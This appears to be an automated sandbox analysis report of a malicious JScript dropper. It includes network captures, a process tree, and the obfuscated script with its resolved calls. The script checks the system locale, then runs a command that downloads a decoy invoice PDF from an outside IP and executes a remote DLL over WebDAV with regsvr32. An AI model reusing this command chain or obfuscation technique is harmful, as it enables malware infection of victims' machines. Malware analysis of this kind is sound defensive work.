Jan 11, 2025 07:02:13.633786917 CET	776	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 11, 2025 07:02:13.633821964 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 07:02:13.638674974 CET	272	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	193.143.1.205	8888	7984	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:02:15.865515947 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:02:16.648729086 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:02:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:02:08
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\497524953288097419.js"
Imagebase:	0x7ff758560000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:02:09
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll
Imagebase:	0x7ff628db0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:02:09
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:02:09
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:02:14
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:02:14
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff628db0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:02:14
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f4920000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:02:15
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:02:15
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:02:15
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1616,i,10591066858158025420,16119010607379215334,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gthlxitia() {	gthlxitia() ➔ undefined
1	ddqwgibc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mdmyv = this[gdfmp + rcfin + gkjrdoa + wvszcxbm + iqtzeupi + mtbrafs + jpkygb + kreqd] ( this[gicetgbxv + cponda + cfnpmv + gkjrdoa + llypug + gdfmp + kreqd][jzegm + gkjrdoa + iqtzeupi + rcfin + kreqd + iqtzeupi + iraayipux + varpkxt + gfonbestm + iqtzeupi + cfnpmv + kreqd] ( gicetgbxv + cponda + cfnpmv + gkjrdoa + llypug + gdfmp + kreqd + xoaseudcj + cponda + njlizzqx + iqtzeupi + mtjgib + mtjgib ) [caxzbuilf + iqtzeupi + viadctazx + caxzbuilf + iqtzeupi + rcfin + tyqtgla] ( btsqswkw + zuqxvfoyw + xiqcfpi + wgwdk + phsvndb + jzegm + walwehxus + caxzbuilf + caxzbuilf + xiqcfpi + aykktjqgy + hmtyfv + phsvndb + walwehxus + cponda + xiqcfpi + caxzbuilf + uplai + jzegm + qoaar + jpkygb + kreqd + gkjrdoa + qoaar + mtjgib + ggmnysgfk + zuvethga + rcfin + jpkygb + iqtzeupi + mtjgib + uplai + mtbrafs + jpkygb + kreqd + iqtzeupi + gkjrdoa + jpkygb + rcfin + kreqd + llypug + qoaar + jpkygb + rcfin + mtjgib + uplai + uscsnysxs + qoaar + cfnpmv + rcfin + mtjgib + iqtzeupi ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( lovrqql = 0 ; lovrqql < ddqwgibc[mtjgib + iqtzeupi + jpkygb + viadctazx + kreqd + njlizzqx] ; ++ lovrqql )
4	{
5	if ( mdmyv == ddqwgibc[lovrqql] )
6	{
7	mdmyv = true;
8	break ;
9	}
10	}
11	if ( mdmyv !== true )
12	this[gicetgbxv + cponda + cfnpmv + gkjrdoa + llypug + gdfmp + kreqd][vwwfqrqs + dstblouc + llypug + kreqd] ( );
13	this[gicetgbxv + cponda + cfnpmv + gkjrdoa + llypug + gdfmp + kreqd][jzegm + gkjrdoa + iqtzeupi + rcfin + kreqd + iqtzeupi + iraayipux + varpkxt + gfonbestm + iqtzeupi + cfnpmv + kreqd] ( gicetgbxv + cponda + cfnpmv + gkjrdoa + llypug + gdfmp + kreqd + xoaseudcj + cponda + njlizzqx + iqtzeupi + mtjgib + mtjgib ) [gkjrdoa + dstblouc + jpkygb] ( cfnpmv + pnxid + tyqtgla + ggmnysgfk + yowwk + cfnpmv + ggmnysgfk + gdfmp + qoaar + oujmkei + iqtzeupi + gkjrdoa + wvszcxbm + njlizzqx + iqtzeupi + mtjgib + mtjgib + xoaseudcj + iqtzeupi + uueizk + iqtzeupi + ggmnysgfk + ysjtscz + jzegm + qoaar + pnxid + pnxid + rcfin + jpkygb + tyqtgla + ggmnysgfk + gmyzuzau + mtbrafs + jpkygb + zlskayc + qoaar + lpncrzowh + iqtzeupi + ysjtscz + gicetgbxv + iqtzeupi + varpkxt + caxzbuilf + iqtzeupi + vrcwiuun + dstblouc + iqtzeupi + wvszcxbm + kreqd + ggmnysgfk + ysjtscz + iraayipux + dstblouc + kreqd + bcjty + llypug + mtjgib + iqtzeupi + ggmnysgfk + oxnqmbmhz + kreqd + iqtzeupi + pnxid + gdfmp + oxnqmbmhz + uplai + llypug + jpkygb + zlskayc + qoaar + llypug + cfnpmv + iqtzeupi + xoaseudcj + gdfmp + tyqtgla + dbaigfb + ggmnysgfk + njlizzqx + kreqd + kreqd + gdfmp + nynuddltd + yowwk + yowwk + samknwwlu + cencjdwr + kghrph + xoaseudcj + samknwwlu + xkmxvtaqg + kghrph + xoaseudcj + samknwwlu + xoaseudcj + fluoxhql + tarrpyppm + tzydtgzqm + yowwk + llypug + jpkygb + zlskayc + qoaar + llypug + cfnpmv + iqtzeupi + xoaseudcj + gdfmp + njlizzqx + gdfmp + gmyzuzau + iypvyf + iypvyf + wvszcxbm + kreqd + rcfin + gkjrdoa + kreqd + ggmnysgfk + oxnqmbmhz + kreqd + iqtzeupi + pnxid + gdfmp + oxnqmbmhz + uplai + llypug + jpkygb + zlskayc + qoaar + llypug + cfnpmv + iqtzeupi + xoaseudcj + gdfmp + tyqtgla + dbaigfb + iypvyf + iypvyf + cfnpmv + pnxid + tyqtgla + ggmnysgfk + yowwk + cfnpmv + ggmnysgfk + jpkygb + iqtzeupi + kreqd + ggmnysgfk + dstblouc + wvszcxbm + iqtzeupi + ggmnysgfk + uplai + uplai + samknwwlu + cencjdwr + kghrph + xoaseudcj + samknwwlu + xkmxvtaqg + kghrph + xoaseudcj + samknwwlu + xoaseudcj + fluoxhql + tarrpyppm + tzydtgzqm + gxlhz + bkrqxh + bkrqxh + bkrqxh + bkrqxh + uplai + tyqtgla + rcfin + zlskayc + oujmkei + oujmkei + oujmkei + gkjrdoa + qoaar + qoaar + kreqd + uplai + iypvyf + iypvyf + cfnpmv + pnxid + tyqtgla + ggmnysgfk + yowwk + cfnpmv + ggmnysgfk + gkjrdoa + iqtzeupi + viadctazx + wvszcxbm + zlskayc + gkjrdoa + kghrph + fluoxhql + ggmnysgfk + yowwk + wvszcxbm + ggmnysgfk + uplai + uplai + samknwwlu + cencjdwr + kghrph + xoaseudcj + samknwwlu + xkmxvtaqg + kghrph + xoaseudcj + samknwwlu + xoaseudcj + fluoxhql + tarrpyppm + tzydtgzqm + gxlhz + bkrqxh + bkrqxh + bkrqxh + bkrqxh + uplai + tyqtgla + rcfin + zlskayc + oujmkei + oujmkei + oujmkei + gkjrdoa + qoaar + qoaar + kreqd + uplai + samknwwlu + xkmxvtaqg + tzydtgzqm + fyptfmk + tarrpyppm + samknwwlu + tzydtgzqm + tarrpyppm + kghrph + cencjdwr + samknwwlu + samknwwlu + samknwwlu + fluoxhql + kghrph + xoaseudcj + tyqtgla + mtjgib + mtjgib, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll",0,false) ➔ 0
14	}
15	oujmkei = "a";
16	oujmkei = "K";
17	oujmkei = "P";
18	oujmkei = "c";
19	oujmkei = "c";
20	oujmkei = "w";
21	nynuddltd = "V";
22	nynuddltd = "n";
23	nynuddltd = "J";
24	nynuddltd = "V";
25	nynuddltd = "f";
26	nynuddltd = "G";
27	nynuddltd = "D";
28	nynuddltd = "S";
29	nynuddltd = ":";
30	gicetgbxv = "l";
31	gicetgbxv = "v";
32	gicetgbxv = "H";
33	gicetgbxv = "U";
34	gicetgbxv = "o";
35	gicetgbxv = "h";
36	gicetgbxv = "P";
37	gicetgbxv = "l";
38	gicetgbxv = "e";
39	gicetgbxv = "b";
40	gicetgbxv = "Q";
41	gicetgbxv = "H";
42	gicetgbxv = "g";
43	gicetgbxv = "k";
44	gicetgbxv = "c";
45	gicetgbxv = "I";
46	gicetgbxv = "W";
47	gicetgbxv = "C";
48	gicetgbxv = "y";
49	gicetgbxv = "W";
50	gkjrdoa = "q";
51	gkjrdoa = "R";
52	gkjrdoa = "i";
53	gkjrdoa = "g";
54	gkjrdoa = "V";
55	gkjrdoa = "Y";
56	gkjrdoa = "t";
57	gkjrdoa = "n";
58	gkjrdoa = "P";
59	gkjrdoa = "k";
60	gkjrdoa = "z";
61	gkjrdoa = "m";
62	gkjrdoa = "o";
63	gkjrdoa = "i";
64	gkjrdoa = "r";
65	vrcwiuun = "P";
66	vrcwiuun = "S";
67	vrcwiuun = "k";
68	vrcwiuun = "j";
69	vrcwiuun = "c";
70	vrcwiuun = "k";
71	vrcwiuun = "E";
72	vrcwiuun = "O";
73	vrcwiuun = "Z";
74	vrcwiuun = "J";
75	vrcwiuun = "j";
76	vrcwiuun = "U";
77	vrcwiuun = "p";
78	vrcwiuun = "h";
79	vrcwiuun = "Y";
80	vrcwiuun = "l";
81	vrcwiuun = "s";
82	vrcwiuun = "s";
83	vrcwiuun = "D";
84	vrcwiuun = "n";
85	vrcwiuun = "e";
86	vrcwiuun = "O";
87	vrcwiuun = "K";
88	vrcwiuun = "P";
89	vrcwiuun = "i";
90	vrcwiuun = "L";
91	vrcwiuun = "u";
92	vrcwiuun = "M";
93	vrcwiuun = "i";
94	vrcwiuun = "d";
95	vrcwiuun = "x";
96	vrcwiuun = "q";
97	fluoxhql = "V";
98	fluoxhql = "u";
99	fluoxhql = "x";
100	fluoxhql = "T";
101	fluoxhql = "B";
102	fluoxhql = "2";
103	dbaigfb = "e";
104	dbaigfb = "r";
105	dbaigfb = "C";
106	dbaigfb = "P";
107	dbaigfb = "X";
108	dbaigfb = "d";
109	dbaigfb = "T";
110	dbaigfb = "r";
111	dbaigfb = "A";
112	dbaigfb = "R";
113	dbaigfb = "Q";
114	dbaigfb = "Q";
115	dbaigfb = "c";
116	dbaigfb = "I";
117	dbaigfb = "s";
118	dbaigfb = "w";
119	dbaigfb = "o";
120	dbaigfb = "v";
121	dbaigfb = "G";
122	dbaigfb = "y";
123	dbaigfb = "k";
124	dbaigfb = "T";
125	dbaigfb = "R";
126	dbaigfb = "f";
127	dbaigfb = "i";
128	dbaigfb = "Q";
129	dbaigfb = "t";
130	dbaigfb = "O";
131	dbaigfb = "V";
132	dbaigfb = "E";
133	dbaigfb = "u";
134	dbaigfb = "x";
135	dbaigfb = "q";
136	dbaigfb = "C";
137	dbaigfb = "s";
138	dbaigfb = "v";
139	dbaigfb = "f";
140	phsvndb = "M";
141	phsvndb = "J";
142	phsvndb = "w";
143	phsvndb = "x";
144	phsvndb = "x";
145	phsvndb = "c";
146	phsvndb = "L";
147	phsvndb = "o";
148	phsvndb = "P";
149	phsvndb = "s";
150	phsvndb = "R";
151	phsvndb = "d";
152	phsvndb = "L";
153	phsvndb = "K";
154	phsvndb = "W";
155	phsvndb = "P";
156	phsvndb = "l";
157	phsvndb = "C";
158	phsvndb = "p";
159	phsvndb = "h";
160	phsvndb = "r";
161	phsvndb = "I";
162	phsvndb = "i";
163	phsvndb = "O";
164	phsvndb = "q";
165	phsvndb = "W";
166	phsvndb = "N";
167	phsvndb = "f";
168	phsvndb = "X";
169	phsvndb = "w";
170	phsvndb = "S";
171	phsvndb = "J";
172	phsvndb = "I";
173	phsvndb = "i";
174	phsvndb = "K";
175	phsvndb = "_";
176	fyptfmk = "H";
177	fyptfmk = "K";
178	fyptfmk = "P";
179	fyptfmk = "X";
180	fyptfmk = "v";
181	fyptfmk = "G";
182	fyptfmk = "U";
183	fyptfmk = "P";
184	fyptfmk = "i";
185	fyptfmk = "O";
186	fyptfmk = "Y";
187	fyptfmk = "o";
188	fyptfmk = "h";
189	fyptfmk = "X";
190	fyptfmk = "U";
191	fyptfmk = "L";
192	fyptfmk = "q";
193	fyptfmk = "T";
194	fyptfmk = "d";
195	fyptfmk = "a";
196	fyptfmk = "M";
197	fyptfmk = "z";
198	fyptfmk = "h";
199	fyptfmk = "z";
200	fyptfmk = "I";
201	fyptfmk = "I";
202	fyptfmk = "b";
203	fyptfmk = "J";
204	fyptfmk = "S";
205	fyptfmk = "i";
206	fyptfmk = "p";
207	fyptfmk = "x";
208	fyptfmk = "a";
209	fyptfmk = "j";
210	fyptfmk = "B";
211	fyptfmk = "V";
212	fyptfmk = "g";
213	fyptfmk = "k";
214	fyptfmk = "e";
215	fyptfmk = "q";
216	fyptfmk = "N";
217	fyptfmk = "7";
218	samknwwlu = "t";
219	samknwwlu = "W";
220	samknwwlu = "q";
221	samknwwlu = "M";
222	samknwwlu = "P";
223	samknwwlu = "u";
224	samknwwlu = "B";
225	samknwwlu = "x";
226	samknwwlu = "v";
227	samknwwlu = "c";
228	samknwwlu = "U";
229	samknwwlu = "D";
230	samknwwlu = "D";
231	samknwwlu = "C";
232	samknwwlu = "S";
233	samknwwlu = "n";
234	samknwwlu = "h";
235	samknwwlu = "1";
236	gxlhz = "k";
237	gxlhz = "N";
238	gxlhz = "Y";
239	gxlhz = "V";
240	gxlhz = "b";
241	gxlhz = "m";
242	gxlhz = "y";
243	gxlhz = "L";
244	gxlhz = "T";
245	gxlhz = "D";
246	gxlhz = "P";
247	gxlhz = "B";
248	gxlhz = "A";
249	gxlhz = "X";
250	gxlhz = "D";
251	gxlhz = "w";
252	gxlhz = "q";
253	gxlhz = "P";
254	gxlhz = "w";
255	gxlhz = "x";
256	gxlhz = "@";
257	ysjtscz = "k";
258	ysjtscz = "w";
259	ysjtscz = "r";
260	ysjtscz = "z";
261	ysjtscz = "r";
262	ysjtscz = "V";
263	ysjtscz = "H";
264	ysjtscz = "S";
265	ysjtscz = "t";
266	ysjtscz = "r";
267	ysjtscz = "-";
268	pnxid = "g";
269	pnxid = "g";
270	pnxid = "E";
271	pnxid = "A";
272	pnxid = "q";
273	pnxid = "u";
274	pnxid = "d";
275	pnxid = "M";
276	pnxid = "I";
277	pnxid = "b";
278	pnxid = "F";
279	pnxid = "w";
280	pnxid = "t";
281	pnxid = "Q";
282	pnxid = "C";
283	pnxid = "d";
284	pnxid = "L";
285	pnxid = "x";
286	pnxid = "B";
287	pnxid = "L";
288	pnxid = "n";
289	pnxid = "I";
290	pnxid = "v";
291	pnxid = "Z";
292	pnxid = "e";
293	pnxid = "r";
294	pnxid = "a";
295	pnxid = "i";
296	pnxid = "K";
297	pnxid = "t";
298	pnxid = "T";
299	pnxid = "t";
300	pnxid = "O";
301	pnxid = "Y";
302	pnxid = "R";
303	pnxid = "c";
304	pnxid = "J";
305	pnxid = "t";
306	pnxid = "H";
307	pnxid = "Z";
308	pnxid = "Q";
309	pnxid = "o";
310	pnxid = "z";
311	pnxid = "j";
312	pnxid = "m";
313	jpkygb = "w";
314	jpkygb = "n";
315	varpkxt = "t";
316	varpkxt = "b";
317	yowwk = "I";
318	yowwk = "L";
319	yowwk = "d";
320	yowwk = "J";
321	yowwk = "J";
322	yowwk = "r";
323	yowwk = "b";
324	yowwk = "Q";
325	yowwk = "K";
326	yowwk = "m";
327	yowwk = "V";
328	yowwk = "P";
329	yowwk = "h";
330	yowwk = "H";
331	yowwk = "y";
332	yowwk = "r";
333	yowwk = "m";
334	yowwk = "B";
335	yowwk = "Z";
336	yowwk = "h";
337	yowwk = "R";
338	yowwk = "u";
339	yowwk = "M";
340	yowwk = "o";
341	yowwk = "e";
342	yowwk = "N";
343	yowwk = "u";
344	yowwk = "V";
345	yowwk = "X";
346	yowwk = "o";
347	yowwk = "u";
348	yowwk = "X";
349	yowwk = "Q";
350	yowwk = "T";
351	yowwk = "p";
352	yowwk = "d";
353	yowwk = "V";
354	yowwk = "J";
355	yowwk = "C";
356	yowwk = "/";
357	cencjdwr = "D";
358	cencjdwr = "u";
359	cencjdwr = "i";
360	cencjdwr = "W";
361	cencjdwr = "B";
362	cencjdwr = "C";
363	cencjdwr = "w";
364	cencjdwr = "K";
365	cencjdwr = "V";
366	cencjdwr = "y";
367	cencjdwr = "n";
368	cencjdwr = "m";
369	cencjdwr = "I";
370	cencjdwr = "l";
371	cencjdwr = "M";
372	cencjdwr = "L";
373	cencjdwr = "V";
374	cencjdwr = "q";
375	cencjdwr = "i";
376	cencjdwr = "j";
377	cencjdwr = "K";
378	cencjdwr = "t";
379	cencjdwr = "h";
380	cencjdwr = "u";
381	cencjdwr = "Z";
382	cencjdwr = "p";
383	cencjdwr = "j";
384	cencjdwr = "G";
385	cencjdwr = "O";
386	cencjdwr = "E";
387	cencjdwr = "r";
388	cencjdwr = "X";
389	cencjdwr = "m";
390	cencjdwr = "N";
391	cencjdwr = "v";
392	cencjdwr = "n";
393	cencjdwr = "R";
394	cencjdwr = "X";
395	cencjdwr = "O";
396	cencjdwr = "f";
397	cencjdwr = "X";
398	cencjdwr = "N";
399	cencjdwr = "z";
400	cencjdwr = "M";
401	cencjdwr = "9";
402	wvszcxbm = "k";
403	wvszcxbm = "Y";
404	wvszcxbm = "r";
405	wvszcxbm = "j";
406	wvszcxbm = "s";
407	xiqcfpi = "A";
408	xiqcfpi = "D";
409	xiqcfpi = "I";
410	xiqcfpi = "G";
411	xiqcfpi = "Q";
412	xiqcfpi = "s";
413	xiqcfpi = "U";
414	xiqcfpi = "i";
415	xiqcfpi = "Y";
416	xiqcfpi = "m";
417	xiqcfpi = "S";
418	xiqcfpi = "J";
419	xiqcfpi = "O";
420	xiqcfpi = "B";
421	xiqcfpi = "S";
422	xiqcfpi = "m";
423	xiqcfpi = "H";
424	xiqcfpi = "k";
425	xiqcfpi = "R";
426	xiqcfpi = "t";
427	xiqcfpi = "B";
428	xiqcfpi = "X";
429	xiqcfpi = "S";
430	xiqcfpi = "A";
431	xiqcfpi = "Y";
432	xiqcfpi = "h";
433	xiqcfpi = "k";
434	xiqcfpi = "J";
435	xiqcfpi = "g";
436	xiqcfpi = "z";
437	xiqcfpi = "Q";
438	xiqcfpi = "s";
439	xiqcfpi = "s";
440	xiqcfpi = "S";
441	xiqcfpi = "F";
442	xiqcfpi = "p";
443	xiqcfpi = "a";
444	xiqcfpi = "e";
445	xiqcfpi = "x";
446	xiqcfpi = "E";
447	viadctazx = "W";
448	viadctazx = "D";
449	viadctazx = "I";
450	viadctazx = "g";
451	vwwfqrqs = "I";
452	vwwfqrqs = "x";
453	vwwfqrqs = "E";
454	vwwfqrqs = "j";
455	vwwfqrqs = "h";
456	vwwfqrqs = "S";
457	vwwfqrqs = "D";
458	vwwfqrqs = "p";
459	vwwfqrqs = "o";
460	vwwfqrqs = "x";
461	vwwfqrqs = "k";
462	vwwfqrqs = "F";
463	vwwfqrqs = "P";
464	vwwfqrqs = "I";
465	vwwfqrqs = "d";
466	vwwfqrqs = "h";
467	vwwfqrqs = "p";
468	vwwfqrqs = "e";
469	vwwfqrqs = "Z";
470	vwwfqrqs = "e";
471	vwwfqrqs = "C";
472	vwwfqrqs = "Z";
473	vwwfqrqs = "J";
474	vwwfqrqs = "A";
475	vwwfqrqs = "J";
476	vwwfqrqs = "n";
477	vwwfqrqs = "z";
478	vwwfqrqs = "o";
479	vwwfqrqs = "d";
480	vwwfqrqs = "n";
481	vwwfqrqs = "w";
482	vwwfqrqs = "Q";
483	tyqtgla = "W";
484	tyqtgla = "a";
485	tyqtgla = "J";
486	tyqtgla = "l";
487	tyqtgla = "o";
488	tyqtgla = "N";
489	tyqtgla = "J";
490	tyqtgla = "L";
491	tyqtgla = "i";
492	tyqtgla = "Y";
493	tyqtgla = "l";
494	tyqtgla = "s";
495	tyqtgla = "Q";
496	tyqtgla = "o";
497	tyqtgla = "e";
498	tyqtgla = "v";
499	tyqtgla = "S";
500	tyqtgla = "J";
501	tyqtgla = "B";
502	tyqtgla = "L";
503	tyqtgla = "v";
504	tyqtgla = "z";
505	tyqtgla = "a";
506	tyqtgla = "u";
507	tyqtgla = "w";
508	tyqtgla = "S";
509	tyqtgla = "b";
510	tyqtgla = "u";
511	tyqtgla = "x";
512	tyqtgla = "d";
513	tyqtgla = "d";
514	qoaar = "x";
515	qoaar = "q";
516	qoaar = "R";
517	qoaar = "M";
518	qoaar = "w";
519	qoaar = "q";
520	qoaar = "o";
521	tarrpyppm = "M";
522	tarrpyppm = "t";
523	tarrpyppm = "Y";
524	tarrpyppm = "n";
525	tarrpyppm = "D";
526	tarrpyppm = "W";
527	tarrpyppm = "F";
528	tarrpyppm = "z";
529	tarrpyppm = "m";
530	tarrpyppm = "K";
531	tarrpyppm = "H";
532	tarrpyppm = "U";
533	tarrpyppm = "Z";
534	tarrpyppm = "J";
535	tarrpyppm = "h";
536	tarrpyppm = "Y";
537	tarrpyppm = "q";
538	tarrpyppm = "w";
539	tarrpyppm = "i";
540	tarrpyppm = "v";
541	tarrpyppm = "a";
542	tarrpyppm = "u";
543	tarrpyppm = "k";
544	tarrpyppm = "Y";
545	tarrpyppm = "q";
546	tarrpyppm = "v";
547	tarrpyppm = "V";
548	tarrpyppm = "U";
549	tarrpyppm = "a";
550	tarrpyppm = "N";
551	tarrpyppm = "g";
552	tarrpyppm = "Q";
553	tarrpyppm = "E";
554	tarrpyppm = "0";
555	njlizzqx = "v";
556	njlizzqx = "u";
557	njlizzqx = "o";
558	njlizzqx = "O";
559	njlizzqx = "f";
560	njlizzqx = "Z";
561	njlizzqx = "L";
562	njlizzqx = "p";
563	njlizzqx = "z";
564	njlizzqx = "x";
565	njlizzqx = "S";
566	njlizzqx = "e";
567	njlizzqx = "P";
568	njlizzqx = "H";
569	njlizzqx = "Z";
570	njlizzqx = "l";
571	njlizzqx = "p";
572	njlizzqx = "b";
573	njlizzqx = "l";
574	njlizzqx = "J";
575	njlizzqx = "K";
576	njlizzqx = "C";
577	njlizzqx = "M";
578	njlizzqx = "n";
579	njlizzqx = "p";
580	njlizzqx = "e";
581	njlizzqx = "h";
582	cfnpmv = "X";
583	cfnpmv = "j";
584	cfnpmv = "j";
585	cfnpmv = "n";
586	cfnpmv = "o";
587	cfnpmv = "e";
588	cfnpmv = "V";
589	cfnpmv = "F";
